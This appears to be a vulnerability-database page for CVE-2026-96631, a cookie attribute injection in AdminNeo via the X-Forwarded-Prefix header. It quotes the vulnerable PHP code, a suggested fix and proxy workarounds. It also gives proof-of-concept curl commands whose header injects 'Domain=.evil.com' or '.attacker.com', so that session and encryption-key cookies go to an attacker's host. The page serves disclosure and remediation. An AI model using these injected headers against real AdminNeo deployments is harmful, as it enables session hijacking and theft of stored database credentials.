CVE-2026-96631

HIGHPre-NVD 8.28.2
EchelonGraph scoreHIGH confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 8.2 from GitHub Security Advisory (severity: HIGH) published 2026-10-30. The CNA's CVSS baseline 8.2; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-79wv-8rh2-9vp2 (GitHub Security Advisories)

8.2EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 8.2Exploit: None knownExposed services: Not assessed

A fixed version is listed under Patch Availability — apply it.

AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers

Summary

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.

Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

Vulnerable Code

Root cause 1 - Unsanitized header prepended to REQUEST_URI (admin/include/bootstrap.inc.php, lines 50–52):

if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
	$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}

The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

Root cause 2 - Manual Set-Cookie header construction without escaping (admin/include/functions.inc.php, lines 416–424):

function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.

Root cause 3 - Session cookie also tainted (admin/include/bootstrap.inc.php, line 61):

session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);

The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.

Impact

  • Session hijacking: The neo_sid session cookie is sent to the attacker's domain, allowing full session takeover.
  • Credential theft: The neo_key cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
  • Session fixation: An attacker can inject arbitrary Path, SameSite, and Secure attributes, manipulating cookie behavior.
  • Wide applicability: The X-Forwarded-Prefix header was specifically added to support reverse proxy deployments (Traefik PathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

Affected Cookies

|Cookie|Content|Risk| |neo_sid|PHP session ID|Session hijacking| |neo_key|Encryption key for stored DB passwords|Credential theft| |neo_settings|User preferences|Low (information disclosure)|

Proof of Concept

# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax

Malicious request — inject Domain=.evil.com:

curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \ http://localhost:8080/adminneo/index.php | grep -i set-cookie > Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax

^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED

Full attribute override - inject Domain + SameSite=None:

curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \ http://localhost:8080/adminneo/index.php | grep -i set-cookie > Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...

Recommended Fix

  • Sanitize X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the X-Forwarded-Prefix value before using it.
  • Use setcookie() / setrawcookie(): Replace the manual header("Set-Cookie: ...") construction in cookie() with PHP's built-in setcookie() function, which properly escapes attribute values.
  • Validate REQUEST_URI before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie path attribute (;, ,, whitespace per RFC 6265).

// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
    $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}

Server Based Workaround Via Config

Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:

# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix

# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
  • "/adminneo"

CVSS v3
8.2
EG Score
8.2HIGHhigh confidence
EG Risk
37
EG Risk 37/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity82% × 45%
Impact severity (EG Severity): CVSS 8.2 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fixed version is listed under Patch Availability. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (8.2): severity, escalated by confirmed exploitation. This CVE's 8.2 is its impact severity (EG Severity), not escalated.

EG Severity
8.2 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fixed version is listed under Patch Availability. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

October 30, 2026

Last Modified

October 30, 2026

Vendor Advisories for CVE-2026-96631(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composeradminneo-org/adminneo @ 5.5.1 (fixes >= 4.6.0, < 5.5.1)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:37 UTCGHSA enrichmentGHSA-79wv-8rh2-9vp2 · GitHub severity HIGH · GitHub CVSS 8.2
  2. 2026-11-01 07:37 UTCEG score recompute
  3. 2026-10-30 23:45 UTCEG score recomputeFirst assessed: 8.2 HIGH

Frequently asked(4)

What is CVE-2026-96631?
CVE-2026-96631 is a high-severity vulnerability; its CVE record was published on October 30, 2026. AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers Summary AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a…
When was the CVE record for CVE-2026-96631 published?
The CVE record for CVE-2026-96631 was published on October 30, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of October 30, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-96631?
CVE-2026-96631 has a CVSS base score of 8.2 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-96631?
A fixed version for CVE-2026-96631 is listed under Patch Availability on this page: update to the version listed for your package. The vendor advisories EchelonGraph has for CVE-2026-96631 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-96631

Explore →

Is Your Infrastructure Affected by CVE-2026-96631?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.